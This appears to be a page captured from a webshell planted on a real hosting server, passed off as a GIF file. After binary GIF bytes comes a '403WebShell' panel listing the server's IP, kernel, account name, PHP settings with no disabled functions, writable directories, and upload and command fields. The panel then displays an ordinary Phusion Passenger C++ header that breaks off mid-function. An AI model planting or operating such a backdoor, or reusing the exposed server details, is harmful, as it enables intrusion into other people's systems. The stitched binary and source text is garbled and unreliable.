GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/agent/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/src/agent/Core/AdminPanelConnector.h
/*
 *  Phusion Passenger - https://www.phusionpassenger.com/
 *  Copyright (c) 2017-2018 Phusion Holding B.V.
 *
 *  "Passenger", "Phusion Passenger" and "Union Station" are registered
 *  trademarks of Phusion Holding B.V.
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the "Software"), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 */
#ifndef _PASSENGER_ADMIN_PANEL_CONNECTOR_H_
#define _PASSENGER_ADMIN_PANEL_CONNECTOR_H_

#include <sys/wait.h>
#include <sstream>
#include <unistd.h>

#include <boost/scoped_ptr.hpp>
#include <boost/thread.hpp>
#include <boost/bind/bind.hpp>
#include <boost/foreach.hpp>

#include <limits>
#include <string>
#include <vector>

#include <Constants.h>
#include <WebSocketCommandReverseServer.h>
#include <InstanceDirectory.h>
#include <ConfigKit/SchemaUtils.h>
#include <Core/ApplicationPool/Pool.h>
#include <Core/Controller.h>
#include <ProcessManagement/Ruby.h>
#include <FileTools/FileManip.h>
#include <SystemTools/UserDatabase.h>
#include <Utils.h>
#include <StrIntTools/StrIntUtils.h>
#include <IOTools/IOUtils.h>
#include <Utils/AsyncSignalSafeUtils.h>
#include <LoggingKit/Context.h>

#include <jsoncpp/json.h>

namespace Passenger {
namespace Core {

using namespace std;
using namespace oxt;
namespace ASSU = AsyncSignalSafeUtils;

class AdminPanelConnector {
public:
	/**
	 * BEGIN ConfigKit schema: Passenger::Core::AdminPanelConnector::Schema
	 * (do not edit: following text is automatically generated
	 * by 'rake configkit_schemas_inline_comments')
	 *
	 *   auth_type                   string    -          default("basic")
	 *   close_timeout               float     -          default(10.0)
	 *   connect_timeout             float     -          default(30.0)
	 *   data_debug                  boolean   -          default(false)
	 *   instance_dir                string    -          read_only
	 *   integration_mode            string    -          default("standalone")
	 *   log_prefix                  string    -          -
	 *   password                    string    -          secret
	 *   password_file               string    -          -
	 *   ping_interval               float     -          default(30.0)
	 *   ping_timeout                float     -          default(30.0)
	 *   proxy_password              string    -          secret
	 *   proxy_timeout               float     -          default(30.0)
	 *   proxy_url                   string    -          -
	 *   proxy_username              string    -          -
	 *   reconnect_timeout           float     -          default(5.0)
	 *   ruby                        string    -          default("ruby")
	 *   standalone_engine           string    -          default
	 *   url                         string    required   -
	 *   username                    string    -          -
	 *   web_server_module_version   string    -          read_only
	 *   web_server_version          string    -          read_only
	 *   websocketpp_debug_access    boolean   -          default(false)
	 *   websocketpp_debug_error     boolean   -          default(false)
	 *
	 * END
	 */
	struct Schema: public WebSocketCommandReverseServer::Schema {
		Schema()
			: WebSocketCommandReverseServer::Schema(false)
		{
			using namespace ConfigKit;

			add("integration_mode", STRING_TYPE, OPTIONAL, DEFAULT_INTEGRATION_MODE);
			addWithDynamicDefault("standalone_engine", STRING_TYPE, OPTIONAL,
				ConfigKit::getDefaultStandaloneEngine);
			add("instance_dir", STRING_TYPE, OPTIONAL | READ_ONLY);
			add("web_server_version", STRING_TYPE, OPTIONAL | READ_ONLY);
			add("web_server_module_version", STRING_TYPE, OPTIONAL | READ_ONLY);
			add("ruby", STRING_TYPE, OPTIONAL, "ruby");

			addValidator(ConfigKit::validateIntegrationMode);
			addValidator(ConfigKit::validateStandaloneEngine);

			finalize();
		}
	};

	typedef WebSocketCommandReverseServer::ConfigChangeRequest ConfigChangeRequest;

	typedef WebSocketCommandReverseServer::ConnectionPtr ConnectionPtr;
	typedef WebSocketCommandReverseServer::MessagePtr MessagePtr;
	typedef boost::function<Json::Value (void)> ConfigGetter;
	typedef vector<Controller*> Controllers;

private:
	WebSocketCommandReverseServer server;
	dynamic_thread_group threads;
	Json::Value globalPropertiesFromInstanceDir;

	bool onMessage(WebSocketCommandReverseServer *server,
		const ConnectionPtr &conn, const MessagePtr &msg)
	{
		Json::Value doc;

		try {
			doc = parseAndBasicValidateMessageAsJSON(msg->get_payload());
		} catch (const RuntimeException &e) {
			Json::Value reply;
			reply["result"] = "error";
			reply["request_id"] = doc["request_id"];
			reply["data"]["message"] = e.what();
			sendJsonReply(conn, reply);
			return true;
		}

		if (doc["action"] == "get") {
			return onGetMessage(conn, doc);
		} else {
			return onUnknownMessageAction(conn, doc);
		}
	}


	bool onGetMessage(const ConnectionPtr &conn, const Json::Value &doc) {
		const string resource = doc["resource"].asString();

		if (resource == "server_properties") {
			return onGetServerProperties(conn, doc);
		} else if (resource == "global_properties") {
			return onGetGlobalProperties(conn, doc);
		} else if (resource == "global_configuration") {
			return onGetGlobalConfiguration(conn, doc);
		} else if (resource == "global_statistics") {
			return onGetGlobalStatistics(conn, doc);
		} else if (resource == "application_properties") {
			return onGetApplicationProperties(conn, doc);
		} else if (resource == "application_configuration") {
			return onGetApplicationConfig(conn, doc);
		} else if (resource == "application_logs") {
			return onGetApplicationLogs(conn, doc);
		} else {
			return onUnknownResource(conn, doc);
		}
	}

	bool onGetServerProperties(const ConnectionPtr &conn, const Json::Value &doc) {
		threads.create_thread(
			boost::bind(&AdminPanelConnector::onGetServerPropertiesBgJob, this,
				conn, doc, server.getConfig()["ruby"].asString()),
			"AdminPanelCommandServer: get_server_properties background job",
			128 * 1024);
		return false;
	}

	void onGetServerPropertiesBgJob(const ConnectionPtr &conn, const Json::Value &doc,
		const string &ruby)
	{
		vector<string> args;
		args.push_back("passenger-config");
		args.push_back("system-properties");

		int status = 0;
		SubprocessOutput output;
		try {
			runInternalRubyTool(*resourceLocator, ruby, args, &status, &output);
		} catch (const std::exception &e) {
			server.getIoService().post(boost::bind(
				&AdminPanelConnector::onGetServerPropertiesDone, this,
				conn, doc, string(), -1, e.what()
			));
			return;
		}

		server.getIoService().post(boost::bind(
			&AdminPanelConnector::onGetServerPropertiesDone, this,
			conn, doc, output.data, status, string()
		));
	}

	void onGetServerPropertiesDone(const ConnectionPtr &conn, const Json::Value &doc,
		const string output, int status, const string &error)
	{
		Json::Value reply;
		reply["request_id"] = doc["request_id"];
		if (error.empty()) {
			if (status == 0 || status == -1) {
				Json::Reader reader;
				Json::Value dataDoc;

				if (output.empty()) {
					reply["result"] = "error";
					reply["data"]["message"] = "Error parsing internal helper tool output";
					P_ERROR(getLogPrefix() << "Error parsing internal helper tool output.\n" <<
						"Raw data: \"\"");
				} else if (reader.parse(output, dataDoc)) {
					reply["result"] = "ok";
					reply["data"] = dataDoc;
				} else {
					reply["result"] = "error";
					reply["data"]["message"] = "Error parsing internal helper tool output";
					P_ERROR(getLogPrefix() << "Error parsing internal helper tool output.\n" <<
						"Error: " << reader.getFormattedErrorMessages() << "\n"
						"Raw data: \"" << cEscapeString(output) << "\"");
				}
			} else {
				int exitStatus = WEXITSTATUS(status);
				reply["result"] = "error";
				reply["data"]["message"] = "Internal helper tool exited with status "
					+ toString(exitStatus);
				P_ERROR(getLogPrefix() << "Internal helper tool exited with status "
					<< exitStatus << ". Raw output: \"" << cEscapeString(output) << "\"");
			}
		} else {
			reply["result"] = "error";
			reply["data"]["message"] = error;
		}
		sendJsonReply(conn, reply);
		server.doneReplying(conn);
	}

	bool onGetGlobalProperties(const ConnectionPtr &conn, const Json::Value &doc) {
		const ConfigKit::Store &config = server.getConfig();
		Json::Value reply, data;
		reply["result"] = "ok";
		reply["request_id"] = doc["request_id"];

		data = globalPropertiesFromInstanceDir;
		data["version"] = PASSENGER_VERSION;
		data["core_pid"] = Json::UInt(getpid());

		string integrationMode = config["integration_mode"].asString();
		data["integration_mode"]["name"] = integrationMode;
		if (!config["web_server_module_version"].isNull()) {
			data["integration_mode"]["web_server_module_version"] = config["web_server_module_version"];
		}
		if (integrationMode == "standalone") {
			data["integration_mode"]["standalone_engine"] = config["standalone_engine"];
		}
		if (!config["web_server_version"].isNull()) {
			data["integration_mode"]["web_server_version"] = config["web_server_version"];
		}

		data["originally_packaged"] = resourceLocator->isOriginallyPackaged();
		if (!resourceLocator->isOriginallyPackaged()) {
			data["packaging_method"] = resourceLocator->getPackagingMethod();
		}

		reply["data"] = data;
		sendJsonReply(conn, reply);
		return true;
	}

	bool onGetGlobalConfiguration(const ConnectionPtr &conn, const Json::Value &doc) {
		threads.create_thread(
			boost::bind(&AdminPanelConnector::onGetGlobalConfigurationBgJob, this,
				conn, doc),
			"AdminPanelCommandServer: get_global_config background job",
			128 * 1024);
		return false;
	}

	void onGetGlobalConfigurationBgJob(const ConnectionPtr &conn, const Json::Value &input) {
		Json::Value globalConfig = configGetter()["config_manifest"]["effective_value"]["global_configuration"];
		server.getIoService().post(boost::bind(
			&AdminPanelConnector::onGetGlobalConfigDone, this,
			conn, input, globalConfig
		));
	}

	void onGetGlobalConfigDone(const ConnectionPtr &conn, const Json::Value &input,
		Json::Value config)
	{
		Json::Value reply;

		reply["result"] = "ok";
		reply["request_id"] = input["request_id"];
		reply["data"]["options"] = config;

		sendJsonReply(conn, reply);
		server.doneReplying(conn);
	}

	bool onGetGlobalStatistics(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::Value reply;
		reply["result"] = "ok";
		reply["request_id"] = doc["request_id"];
		reply["data"]["message"] = Json::arrayValue;

		for (unsigned int i = 0; i < controllers.size(); i++) {
			reply["data"]["message"].append(controllers[i]->inspectStateAsJson());
		}

		sendJsonReply(conn, reply);
		return true;
	}

	bool onGetApplicationProperties(const ConnectionPtr &conn, const Json::Value &doc) {
		ConfigKit::Schema argumentsSchema =
			ApplicationPool2::Pool::ToJsonOptions::createSchema();
		Json::Value args(Json::objectValue), reply;
		ApplicationPool2::Pool::ToJsonOptions inspectOptions =
			ApplicationPool2::Pool::ToJsonOptions::makeAuthorized();

		if (doc.isMember("arguments")) {
			ConfigKit::Store store(argumentsSchema);
			vector<ConfigKit::Error> errors;

			if (store.update(doc["arguments"], errors)) {
				inspectOptions.set(store.inspectEffectiveValues());
			} else {
				reply["result"] = "error";
				reply["request_id"] = doc["request_id"];
				reply["data"]["message"] = "Invalid arguments: " +
					ConfigKit::toString(errors);
				sendJsonReply(conn, reply);
				return true;
			}
		}

		reply["result"] = "ok";
		reply["request_id"] = doc["request_id"];
		reply["data"]["applications"] = appPool->inspectPropertiesInAdminPanelFormat(
			inspectOptions);
		sendJsonReply(conn, reply);
		return true;
	}

	static void modifyEnvironmentVariables(Json::Value &option) {
		Json::Value::iterator it;
		for (it = option.begin(); it != option.end(); it++) {
			Json::Value &suboption = *it;
			suboption["value"] = suboption["value"].toStyledString();
		}
	}

	bool onGetApplicationConfig(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::Value appConfigsContainer = configGetter()["config_manifest"]
			["effective_value"]["application_configurations"];
		Json::Value appConfigsContainerOutput;
		Json::Value reply;

		if (doc.isMember("arguments")) {
			ConfigKit::Schema argumentsSchema =
				ApplicationPool2::Pool::ToJsonOptions::createSchema();
			ConfigKit::Store store(argumentsSchema);
			vector<ConfigKit::Error> errors;

			if (!store.update(doc["arguments"], errors)) {
				reply["result"] = "error";
				reply["request_id"] = doc["request_id"];
				reply["data"]["message"] = "Invalid arguments: " +
					ConfigKit::toString(errors);
				sendJsonReply(conn, reply);
				return true;
			}

			Json::Value allowedApplicationIds =
				store.inspectEffectiveValues()["application_ids"];
			if (allowedApplicationIds.isNull()) {
				appConfigsContainerOutput = appConfigsContainer;
			} else {
				appConfigsContainerOutput = filterJsonObject(
					appConfigsContainer,
					allowedApplicationIds);
			}
		} else {
			appConfigsContainerOutput = appConfigsContainer;
		}

		reply["result"] = "ok";
		reply["request_id"] = doc["request_id"];
		reply["data"]["options"] = appConfigsContainerOutput;

		sendJsonReply(conn, reply);
		return true;
	}

	void addWatchedFiles() {
		Json::Value appConfigs = configGetter()["config_manifest"]["effective_value"]["application_configurations"];

		// As a hack, we look up the watched files config (passenger monitor log file) in the manifest. The manifest
		// is meant for users, which means that key names depend on the integration mode. In the future when
		// component configuration more routed through ConfigKit we can get rid of the hack.
		string integrationMode = server.getConfig()["integration_mode"].asString();
		string passengerMonitorLogFile;
		string passengerAppRoot;
		if (integrationMode == "apache") {
			passengerMonitorLogFile = "PassengerMonitorLogFile";
			passengerAppRoot = "PassengerAppRoot";
		} else {
			passengerMonitorLogFile = "passenger_monitor_log_file";
			passengerAppRoot = "passenger_app_root";
			// TODO: this probably doesn't give any results with the builtin engine (not supported in other places either)
		}

		foreach (HashedStaticString key, appConfigs.getMemberNames()) {
			Json::Value files = appConfigs[key]["options"][passengerMonitorLogFile]["value_hierarchy"][0]["value"];
			string appRoot = appConfigs[key]["options"][passengerAppRoot]["value_hierarchy"][0]["value"].asString();

			pair<uid_t, gid_t> ids;
			try {
				ids = appPool->getGroupRunUidAndGids(key);
			} catch (const RuntimeException &) {
				files = Json::nullValue;
			}
			if (!files.isNull()) {
				string usernameOrUid = lookupSystemUsernameByUid(ids.first, true);

				foreach (Json::Value file, files) {
					string f = file.asString();
					string maxLines = toString(LOG_MONITORING_MAX_LINES);
					Pipe pipe = createPipe(__FILE__, __LINE__);
					string agentExe = resourceLocator->findSupportBinary(AGENT_EXE);
					vector<const char *> execArgs;

					execArgs.push_back(agentExe.c_str());
					execArgs.push_back("exec-helper");
					if (geteuid() == 0) {
						execArgs.push_back("--user");
						execArgs.push_back(usernameOrUid.c_str());
					}
					execArgs.push_back("tail");
					execArgs.push_back("-n");
					execArgs.push_back(maxLines.c_str());
					execArgs.push_back(f.c_str());
					execArgs.push_back(NULL);

					pid_t pid = syscalls::fork();

					if (pid == -1) {
						int e = errno;
						throw SystemException("Cannot fork a new process", e);
					} else if (pid == 0) {
						chdir(appRoot.c_str());

						dup2(pipe.second, STDOUT_FILENO);
						pipe.first.close();
						pipe.second.close();
						closeAllFileDescriptors(2);

						execvp(execArgs[0], const_cast<char * const *>(&execArgs[0]));

						int e = errno;
						char buf[256];
						char *pos = buf;
						const char *end = pos + 256;

						pos = ASSU::appendData(pos, end, "Cannot execute \"");
						pos = ASSU::appendData(pos, end, agentExe.c_str());
						pos = ASSU::appendData(pos, end, "\": ");
						pos = ASSU::appendData(pos, end, strerror(e));
						pos = ASSU::appendData(pos, end, " (errno=");
						pos = ASSU::appendInteger<int, 10>(pos, end, e);
						pos = ASSU::appendData(pos, end, ")\n");
						ASSU::writeNoWarn(STDERR_FILENO, buf, pos - buf);
						_exit(1);
					} else {
						pipe.second.close();
						string out = readAll(pipe.first,
							std::numeric_limits<size_t>::max()).first;
						LoggingKit::context->saveMonitoredFileLog(key, f.c_str(), f.size(),
							out.data(), out.size());
						pipe.first.close();
						syscalls::waitpid(pid, NULL, 0);
					}
				}
			}
		}
	}

	bool onGetApplicationLogs(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::Value reply;
		reply["result"] = "ok";
		reply["request_id"] = doc["request_id"];

		addWatchedFiles();

		reply["data"]["logs"] = LoggingKit::context->convertLog();
		sendJsonReply(conn, reply);
		return true;
	}

	bool onUnknownResource(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::Value reply;
		reply["result"] = "error";
		reply["request_id"] = doc["request_id"];
		reply["data"]["message"] = "Unknown resource '" + doc["resource"].asString() + "'";
		sendJsonReply(conn, reply);
		return true;
	}

	bool onUnknownMessageAction(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::Value reply;
		reply["result"] = "error";
		reply["request_id"] = doc["request_id"];
		reply["data"]["message"] = "Unknown action '" + doc["action"].asString() + "'";
		sendJsonReply(conn, reply);
		return true;
	}


	Json::Value parseAndBasicValidateMessageAsJSON(const string &msg) const {
		Json::Value doc;
		Json::Reader reader;
		if (!reader.parse(msg, doc)) {
			throw RuntimeException("Error parsing command JSON document: "
				+ reader.getFormattedErrorMessages());
		}

		if (!doc.isObject()) {
			throw RuntimeException("Invalid command JSON document: must be an object");
		}
		if (!doc.isMember("action")) {
			throw RuntimeException("Invalid command JSON document: missing 'action' key");
		}
		if (!doc["action"].isString()) {
			throw RuntimeException("Invalid command JSON document: the 'action' key must be a string");
		}
		if (!doc.isMember("request_id")) {
			throw RuntimeException("Invalid command JSON document: missing 'request_id' key");
		}
		if (!doc.isMember("resource")) {
			throw RuntimeException("Invalid command JSON document: missing 'resource' key");
		}
		if (!doc["resource"].isString()) {
			throw RuntimeException("Invalid command JSON document: the 'resource' key must be a string");
		}
		if (doc.isMember("arguments") && !doc["arguments"].isObject()) {
			throw RuntimeException("Invalid command JSON document: the 'arguments' key, when present, must be an object");
		}

		return doc;
	}

	void sendJsonReply(const ConnectionPtr &conn, const Json::Value &doc) {
		Json::FastWriter writer;
		string str = writer.write(doc);
		WCRS_DEBUG_FRAME(&server, "Replying with:", str);
		conn->send(str);
	}

	void readInstanceDirProperties(const string &instanceDir) {
		Json::Value doc;
		Json::Reader reader;

		if (!reader.parse(unsafeReadFile(instanceDir + "/properties.json"), doc)) {
			throw RuntimeException("Cannot parse " + instanceDir + "/properties.json: "
				+ reader.getFormattedErrorMessages());
		}

		globalPropertiesFromInstanceDir["instance_id"] = doc["instance_id"];
		globalPropertiesFromInstanceDir["watchdog_pid"] = doc["watchdog_pid"];
	}

	Json::Value filterJsonObject(const Json::Value &object,
		const Json::Value &allowedKeys) const
	{
		Json::Value::const_iterator it, end = allowedKeys.end();
		Json::Value result(Json::objectValue);

		for (it = allowedKeys.begin(); it != end; it++) {
			if (object.isMember(it->asString())) {
				result[it->asString()] = object[it->asString()];
			}
		}

		return result;
	}

	void initializePropertiesWithoutInstanceDir() {
